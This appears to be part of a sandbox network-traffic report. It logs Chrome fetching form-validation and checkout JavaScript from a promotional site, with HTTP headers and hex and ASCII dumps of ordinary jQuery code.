2024-10-03 16:19:51 UTC	409	IN	Data Raw: 31 39 32 0d 0a 24 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 63 62 55 74 69 6c 43 6f 6e 66 69 67 20 21 3d 3d 20 27 6f 62 6a 65 63 74 27 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 69 66 20 28 63 62 55 74 69 6c 43 6f 6e 66 69 67 2e 64 69 73 61 62 6c 65 5f 6e 6f 6e 5f 65 6e 67 6c 69 73 68 5f 63 68 61 72 5f 69 6e 70 75 74 29 20 7b 0d 0a 20 20 20 20 09 24 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 27 6b 65 79 75 70 27 2c 20 27 69 6e 70 75 74 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 20 20 20 20 09 09 24 28 74 68 69 73 29 2e 76 61 6c 28 24 28 74 68 69 73 29 2e 76 61 6c 28 29 2e 72 65 70 6c 61 63 65 28 2f 5b 5e 5c 78 30 30 2d 5c 78 37 46 5d 2f 67 2c 20 27 Data Ascii: 192$(function() { if (typeof cbUtilConfig !== 'object') { return; } if (cbUtilConfig.disable_non_english_char_input) { $(document).on('keyup', 'input', function(){ $(this).val($(this).val().replace(/[^\x00-\x7F]/g, '
2024-10-03 16:19:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.16	49845	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:51 UTC	779	OUT	GET /outstandingpromotions/automotive/v1/CEmK/extensions/Validator/js/validator.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:51 UTC	763	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:51 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Mon, 09 Sep 2024 11:11:40 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60156 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P%2FxJYBgV9xwOVP2zxYzd0HxY%2FaFtldE8OdSWeE1%2FK59o9hp6BFnizqLTwz82H1QTCE7CT%2BUjgdWtJo0r7j1HAcjhZMiicNJivblCe%2FMsS%2BPRJ7v4DNG2jY5l05ML0a%2FeGgX6go2CYXCOQtlb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41978d5842b7-EWR
2024-10-03 16:19:51 UTC	606	IN	Data Raw: 63 35 39 0d 0a 76 61 72 20 65 72 72 6f 72 43 6c 61 73 73 20 3d 20 27 68 61 73 2d 65 72 72 6f 72 27 3b 0a 76 61 72 20 76 61 6c 69 64 43 6c 61 73 73 20 3d 20 27 6e 6f 2d 65 72 72 6f 72 27 3b 0a 76 61 72 20 63 6f 75 6e 74 72 79 20 3d 20 24 28 27 73 65 6c 65 63 74 5b 6e 61 6d 65 24 3d 43 6f 75 6e 74 72 79 5d 27 29 3b 0a 76 61 72 20 7a 69 70 53 65 6c 65 63 74 6f 72 20 3d 20 24 28 27 69 6e 70 75 74 5b 6e 61 6d 65 3d 73 68 69 70 70 69 6e 67 5a 69 70 5d 27 29 3b 0a 0a 69 66 20 28 76 61 6c 69 64 61 74 6f 72 5f 64 61 74 61 2e 65 6e 61 62 6c 65 5f 73 74 61 74 65 63 6f 64 65 5f 76 61 6c 69 64 61 74 69 6f 6e 29 20 7b 0a 0a 20 20 20 20 63 6f 75 6e 74 72 79 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 68 61 6e 67 65 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 0a 20 20 Data Ascii: c59var errorClass = 'has-error';var validClass = 'no-error';var country = $('select[name$=Country]');var zipSelector = $('input[name=shippingZip]');if (validator_data.enable_statecode_validation) { country .change(function () {
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 6e 64 65 66 69 6e 65 64 22 20 26 26 20 63 5f 63 6f 64 65 20 21 3d 27 27 20 26 26 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 5f 63 6f 64 65 20 3d 3d 20 22 55 53 22 20 26 26 20 21 76 61 6c 69 64 61 74 6f 72 5f 64 61 74 61 2e 65 6e 61 62 6c 65 5f 75 73 5f 73 74 61 74 65 63 6f 64 65 5f 76 61 6c 69 64 61 74 69 6f 6e 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 6e 61 6d 65 27 29 20 3d 3d 20 27 62 69 6c 6c 69 6e 67 43 6f 75 6e 74 72 79 27 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ndefined" && c_code !='' && c_code == "US" && !validator_data.enable_us_statecode_validation){ return; } if($(this).attr('name') == 'billingCountry')
2024-10-03 16:19:51 UTC	1193	IN	Data Raw: 20 20 20 20 20 20 20 7d 29 3b 0a 0a 0a 20 20 20 20 24 28 27 69 6e 70 75 74 5b 6e 61 6d 65 24 3d 5a 69 70 5d 27 29 2e 62 6c 75 72 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 63 75 72 41 74 74 72 20 3d 20 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 6e 61 6d 65 27 29 3b 0a 20 20 20 20 20 20 20 20 24 28 27 5b 6e 61 6d 65 3d 27 2b 63 75 72 41 74 74 72 2b 27 5d 27 29 2e 72 65 6d 6f 76 65 41 74 74 72 28 27 64 61 74 61 2d 69 67 6e 6f 72 65 27 29 3b 0a 20 20 20 20 20 20 20 20 69 66 28 24 28 74 68 69 73 29 2e 76 61 6c 28 29 20 3d 3d 20 27 27 29 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 5b 6e 61 6d 65 3d 27 2b 63 75 72 41 74 74 72 2b 27 5d 27 29 2e 61 64 64 43 6c 61 73 73 28 27 72 65 71 75 69 72 Data Ascii: }); $('input[name$=Zip]').blur(function () { var curAttr = $(this).attr('name'); $('[name='+curAttr+']').removeAttr('data-ignore'); if($(this).val() == '') { $('[name='+curAttr+']').addClass('requir
2024-10-03 16:19:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.16	49846	104.21.32.108	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:51 UTC	463	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/codebase.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:51 UTC	759	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:51 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60156 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vVSJisBgcau4ZfPqyT5EMsTZ8dHq2GDw5Uz6xfw2ntjXzTZ2G5MBwIXIQQBP%2FrK3G9QeC43uxpJaj7QP5yUE6i%2FUzVG8MccVIEmxKchENSJ8eMJYPg%2FjbW5MG6pemFGCY39Qs0AcRM%2BN9TT%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41978ce842ce-EWR
2024-10-03 16:19:51 UTC	610	IN	Data Raw: 36 38 66 30 0d 0a 76 61 72 20 63 62 20 3d 20 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0a 20 20 20 20 27 75 73 65 20 73 74 72 69 63 74 27 0a 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6b 65 79 64 6f 77 6e 28 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 65 2e 77 68 69 63 68 20 3d 3d 3d 20 32 37 20 26 26 20 24 28 27 23 65 72 72 6f 72 5f 68 61 6e 64 6c 65 72 5f 6f 76 65 72 6c 61 79 27 29 2e 6c 65 6e 67 74 68 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 65 72 72 6f 72 5f 68 61 6e 64 6c 65 72 5f 6f 76 65 72 6c 61 79 27 29 2e 72 65 6d 6f 76 65 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 29 3b 0a 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 66 66 28 27 63 6c 69 63 6b 27 2c 20 27 23 65 72 72 6f 72 Data Ascii: 68f0var cb = (function($) { 'use strict' $(window).keydown(function(e) { if (e.which === 27 && $('#error_handler_overlay').length) { $('#error_handler_overlay').remove(); } }); $(document).off('click', '#error
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 20 76 61 6c 69 64 43 6c 61 73 73 20 3d 20 61 70 70 5f 63 6f 6e 66 69 67 2e 76 61 6c 69 64 5f 63 6c 61 73 73 3b 0a 20 20 20 20 76 61 72 20 65 72 72 6f 72 43 6c 61 73 73 20 3d 20 61 70 70 5f 63 6f 6e 66 69 67 2e 65 72 72 6f 72 5f 63 6c 61 73 73 3b 0a 20 20 20 20 76 61 72 20 6c 6f 61 64 69 6e 67 43 6c 61 73 73 20 3d 20 61 70 70 5f 63 6f 6e 66 69 67 2e 6c 6f 61 64 69 6e 67 5f 63 6c 61 73 73 3b 0a 20 20 20 20 76 61 72 20 66 6f 72 6d 41 63 74 69 6f 6e 73 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 27 70 72 6f 73 70 65 63 74 27 3a 20 27 70 72 6f 73 70 65 63 74 27 2c 0a 20 20 20 20 20 20 20 20 27 63 68 65 63 6b 6f 75 74 27 3a 20 27 63 68 65 63 6b 6f 75 74 27 2c 0a 20 20 20 20 20 20 20 20 27 64 6f 77 6e 73 65 6c 6c 31 27 3a 20 27 64 6f 77 6e 73 65 6c 6c 27 2c 0a 20 20 Data Ascii: validClass = app_config.valid_class; var errorClass = app_config.error_class; var loadingClass = app_config.loading_class; var formActions = { 'prospect': 'prospect', 'checkout': 'checkout', 'downsell1': 'downsell',
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 65 41 73 53 68 69 70 70 69 6e 67 27 2c 20 27 6e 6f 27 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 69 64 61 74 6f 72 73 3a 20 5b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5b 27 69 73 56 61 6c 69 64 5a 69 70 27 2c 20 27 62 69 6c 6c 69 6e 67 43 6f 75 6e 74 72 79 27 5d 0a 20 20 20 20 20 20 20 20 20 20 20 20 5d 2c 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 62 69 6c 6c 69 6e 67 43 69 74 79 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 64 69 74 69 6f 6e 3a 20 5b 27 62 69 6c 6c 69 6e 67 53 61 6d 65 41 73 53 68 69 70 70 69 6e 67 27 2c 20 27 6e 6f 27 5d 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 62 69 6c 6c 69 6e 67 53 74 61 74 65 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 64 69 74 69 6f Data Ascii: eAsShipping', 'no'], validators: [ ['isValidZip', 'billingCountry'] ], }, billingCity: { condition: ['billingSameAsShipping', 'no'] }, billingState: { conditio
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 6d 65 3d 6c 61 73 74 4e 61 6d 65 5d 2c 20 5b 6e 61 6d 65 24 3d 4c 61 73 74 4e 61 6d 65 5d 27 2c 0a 20 20 20 20 20 20 20 20 61 64 64 72 65 73 73 31 3a 20 27 5b 6e 61 6d 65 3d 61 64 64 72 65 73 73 31 5d 2c 20 5b 6e 61 6d 65 24 3d 41 64 64 72 65 73 73 31 5d 27 2c 0a 20 20 20 20 20 20 20 20 61 64 64 72 65 73 73 32 3a 20 27 5b 6e 61 6d 65 3d 61 64 64 72 65 73 73 32 5d 2c 20 5b 6e 61 6d 65 24 3d 41 64 64 72 65 73 73 32 5d 27 2c 0a 20 20 20 20 20 20 20 20 63 6f 75 6e 74 72 79 3a 20 27 5b 6e 61 6d 65 3d 63 6f 75 6e 74 72 79 5d 2c 20 5b 6e 61 6d 65 24 3d 43 6f 75 6e 74 72 79 5d 27 2c 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 3a 20 27 5b 6e 61 6d 65 3d 73 74 61 74 65 5d 2c 20 5b 6e 61 6d 65 24 3d 53 74 61 74 65 5d 27 2c 0a 20 20 20 20 20 20 20 20 63 69 74 79 3a 20 Data Ascii: me=lastName], [name$=LastName]', address1: '[name=address1], [name$=Address1]', address2: '[name=address2], [name$=Address2]', country: '[name=country], [name$=Country]', state: '[name=state], [name$=State]', city:
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 74 2e 64 61 74 61 28 27 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 66 6f 72 6d 2e 65 72 72 6f 72 73 5b 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 5d 20 3d 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 6d 2e 65 72 72 6f 72 73 5b 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 5d 20 3d 20 27 45 6e 74 65 72 20 61 20 76 61 6c 69 64 20 27 20 2b 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 74 69 6e 75 65 3b 0a 20 20 20 20 20 20 20 Data Ascii: t.data('error-message'); if (typeof form.errors[inputElementName] === 'undefined') { form.errors[inputElementName] = 'Enter a valid ' + inputElementName.toUpperCase(); } continue;
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 27 69 73 56 61 6c 69 64 5a 69 70 27 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 64 61 74 65 5a 69 70 28 66 69 65 6c 64 4e 61 6d 65 2c 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2c 20 66 6f 72 6d 2c 20 76 61 6c 69 64 61 74 69 6f 6e 4d 65 74 61 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 72 65 61 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 27 69 73 56 61 6c 69 64 43 61 72 64 4e 75 6d 62 65 72 27 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 64 61 74 65 43 61 72 64 4e 75 6d 62 65 72 28 66 69 65 6c 64 4e 61 6d 65 2c 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2c 20 66 6f 72 6d 2c 20 76 61 6c 69 64 61 74 69 6f 6e 4d 65 74 61 29 3b 0a 20 20 20 Data Ascii: k; case 'isValidZip': valdateZip(fieldName, inputElement, form, validationMeta); break; case 'isValidCardNumber': valdateCardNumber(fieldName, inputElement, form, validationMeta);
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 20 76 61 72 20 63 61 72 64 4e 75 6d 62 65 72 20 3d 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 76 61 6c 28 29 2e 74 72 69 6d 28 29 2e 72 65 70 6c 61 63 65 28 2f 5b 5c 73 2d 5d 2f 67 2c 20 27 27 29 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 6d 2e 65 72 72 6f 72 73 5b 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 5d 20 3d 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 64 61 74 61 28 27 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 27 29 3b 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 76 61 6c 69 64 43 6c 61 73 73 29 2e 61 64 64 43 6c 61 73 73 28 65 72 72 6f 72 43 6c 61 73 73 29 3b 0a 20 20 20 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 66 6f 72 6d 2e 65 72 72 6f 72 73 5b 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 Data Ascii: var cardNumber = inputElement.val().trim().replace(/[\s-]/g, ''); form.errors[inputElementName] = inputElement.data('error-message'); inputElement.removeClass(validClass).addClass(errorClass); if (typeof form.errors[inputElementNa
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 76 61 6c 28 29 2e 74 72 69 6d 28 29 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 6d 2e 65 72 72 6f 72 73 5b 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 5d 20 3d 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 64 61 74 61 28 27 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 27 29 3b 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 76 61 6c 69 64 43 6c 61 73 73 29 2e 61 64 64 43 6c 61 73 73 28 65 72 72 6f 72 43 6c 61 73 73 29 3b 0a 20 20 20 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 66 6f 72 6d 2e 65 72 72 6f 72 73 5b 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 5d 20 3d 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 Data Ascii: ; var value = inputElement.val().trim(); form.errors[inputElementName] = inputElement.data('error-message'); inputElement.removeClass(validClass).addClass(errorClass); if (typeof form.errors[inputElementName] === 'undefined
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 76 61 6c 69 64 61 74 65 45 6d 61 69 6c 28 66 69 65 6c 64 4e 61 6d 65 2c 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2c 20 66 6f 72 6d 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 56 61 6c 75 65 20 3d 20 66 6f 72 6d 2e 64 61 74 61 5b 66 69 65 6c 64 4e 61 6d 65 5d 2e 76 61 6c 75 65 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 20 3d 20 66 6f 72 6d 2e 64 61 74 61 5b 66 69 65 6c 64 4e 61 6d 65 5d 2e 6e 61 6d 65 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 76 61 6c 28 29 2e 74 72 69 6d 28 29 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 6d 2e 65 72 72 6f 72 73 5b 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d Data Ascii: unction validateEmail(fieldName, inputElement, form) { var inputElementValue = form.data[fieldName].value; var inputElementName = form.data[fieldName].name; var value = inputElement.val().trim(); form.errors[inputElementNam
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 27 75 6e 64 65 66 69 6e 65 64 27 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 6d 2e 65 72 72 6f 72 73 5b 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 5d 20 3d 20 27 45 6e 74 65 72 20 61 20 76 61 6c 69 64 20 27 20 2b 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 3d 3d 3d 20 27 27 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 76 61 72 20 6d 69 6e 4c 65 6e 67 74 68 20 3d 20 31 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 4c 65 6e 67 74 68 20 3d 20 31 30 30 3b 0a 20 20 20 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 69 6e Data Ascii: 'undefined') { form.errors[inputElementName] = 'Enter a valid ' + inputElementName.toUpperCase(); } if (value === '') { return; } var minLength = 1, maxLength = 100; if (typeof in

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.16	49847	104.21.32.108	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:51 UTC	467	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/form_handler.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:51 UTC	765	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:51 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60156 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=djn9SVsLQCO4BT6Eakqk1ol%2Fxuth364wL%2Fp%2BqPPF0eBn5fEDzYzFOtbB9cPpBRy5CjNs4RV9I0w%2FtOR6PCr7TibwICI5ykgmB5NVyvkGaQcyLlJDAELmeHfAvY%2BzJT5jr%2BKGCVtiW%2BR%2Fuk2f"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41993d6917e9-EWR
2024-10-03 16:19:51 UTC	604	IN	Data Raw: 36 35 66 62 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 20 20 20 20 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 20 20 20 20 24 2e 66 6e 2e 66 6f 72 6d 48 61 6e 64 6c 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 5f 73 65 6c 66 4f 70 74 69 6f 6e 73 29 20 7b 0a 20 20 20 20 20 20 20 20 2f 2a 2a 0a 20 20 20 20 20 20 20 20 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 20 20 20 20 20 20 20 20 2a 20 43 68 65 63 6b 20 74 68 65 20 65 78 69 73 74 65 6e 63 65 20 6f 66 20 74 68 65 20 65 6c 65 6d 65 6e 74 20 62 65 66 6f 72 65 20 62 69 6e 64 69 6e 67 20 61 6e 79 20 65 76 65 6e 74 73 0a 20 20 20 20 20 20 20 20 20 Data Ascii: 65fb(function ($) { 'use strict'; $.fn.formHandler = function (_selfOptions) { /** * ------------------------------------------------------------- * Check the existence of the element before binding any events
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 20 20 20 20 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 20 20 20 20 20 20 20 20 2a 2f 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 65 66 61 75 6c 74 73 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 72 72 6f 72 4d 6f 64 61 6c 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 75 74 6f 46 69 6c 6c 46 6f 72 6d 45 6c 65 6d 65 6e 74 3a 20 66 61 6c 73 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 75 6e 74 72 79 44 72 6f 70 64 6f 77 6e 3a 20 27 53 65 6c 65 63 74 20 43 6f 75 6e 74 72 79 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 6a 61 78 4c 6f 61 64 65 72 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 76 Data Ascii: * ------------------------------------------------ */ var defaults = { errorModal: true, autoFillFormElement: false, countryDropdown: 'Select Country', ajaxLoader: { div
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 74 61 72 65 61 27 29 2e 6f 6e 28 27 6b 65 79 75 70 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 65 6c 65 6d 20 3d 20 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 6e 61 6d 65 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5f 63 6f 70 79 54 6f 46 6f 72 6d 2e 66 69 6e 64 28 27 74 65 78 74 61 72 65 61 5b 6e 61 6d 65 3d 27 20 2b 20 65 6c 65 6d 20 2b 20 27 5d 27 29 2e 76 61 6c 28 24 28 74 68 69 73 29 2e 76 61 6c 28 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 5f 73 65 6c 66 2e 6f 6e 28 27 66 6f 63 75 73 27 2c 20 27 69 6e 70 75 74 2c 20 73 65 6c 65 63 74 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 Data Ascii: tarea').on('keyup', function () { var elem = $(this).attr('name'); _copyToForm.find('textarea[name=' + elem + ']').val($(this).val()); }); } _self.on('focus', 'input, select', function () {
